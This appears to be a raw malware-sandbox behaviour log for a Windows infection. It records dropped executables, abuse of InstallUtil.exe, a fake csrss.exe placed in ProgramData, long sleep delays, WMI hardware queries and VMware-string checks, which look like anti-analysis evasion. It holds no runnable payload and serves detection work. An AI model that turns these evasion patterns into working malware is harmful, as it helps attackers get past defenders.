Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599867
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599586
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597047
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596449
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594697
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592959
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589094
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 365	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1550	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 695	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 385	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 789	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 762	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Window / User API: threadDelayed 446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 458

Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

API coverage: 4.5 %

Source: C:\Windows\explorer.exe TID: 6532	Thread sleep time: -155000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1236	Thread sleep time: -69500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2668	Thread sleep time: -32300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6532	Thread sleep time: -38500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4577.exe TID: 1196	Thread sleep count: 446 > 30
Source: C:\Users\user\AppData\Local\Temp\4577.exe TID: 1196	Thread sleep time: -44600s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe TID: 6440	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6920	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3608	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 2912	Thread sleep count: 260 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -599867s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -599719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -599586s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -599235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -598781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -597781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -597047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596891s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596591s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596449s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596290s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -596031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595658s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -595031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594697s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594191s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -594031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -593886s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -593563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -593318s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -593125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -592959s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -592688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -592375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -592092s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -591828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -591500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -591266s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -591076s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -590883s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -590686s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -590344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -590156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6244	Thread sleep time: -589094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe TID: 6928	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select TotalPhysicalMemory From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Model from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00404399 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	8_2_00404399
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00403C8F FindFirstFileW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,	8_2_00403C8F
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00403DA4 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	8_2_00403DA4
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041EDD8 FindFirstFileExA,	8_2_0041EDD8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BD4A8 GetFileAttributesW,FindFirstFileW,FindClose,	21_2_00007FF73D0BD4A8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BC948 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00007FF73D0BC948
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB93C FindFirstFileW,Sleep,FindNextFileW,FindClose,	21_2_00007FF73D0CB93C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB5C0 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	21_2_00007FF73D0CB5C0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0CB418 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	21_2_00007FF73D0CB418
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C74F0 FindFirstFileW,FindNextFileW,FindClose,	21_2_00007FF73D0C74F0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0834E0 FindFirstFileExW,	21_2_00007FF73D0834E0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C82BC FindFirstFileW,FindClose,	21_2_00007FF73D0C82BC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BC498 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00007FF73D0BC498
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C8370 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	21_2_00007FF73D0C8370

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D061D7C GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

21_2_00007FF73D061D7C

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599867
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599586
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597047
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596449
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594697
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592959
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 591076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 590156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 589094
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Viewers	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: explorer.exe, 00000001.00000000.1695827674.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1695312230.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1695312230.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1695827674.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1691821298.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: csrss.exe, 00000026.00000002.2993048897.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1695827674.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 1600.tmp, 00000029.00000002.2988575910.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\,
Source: explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
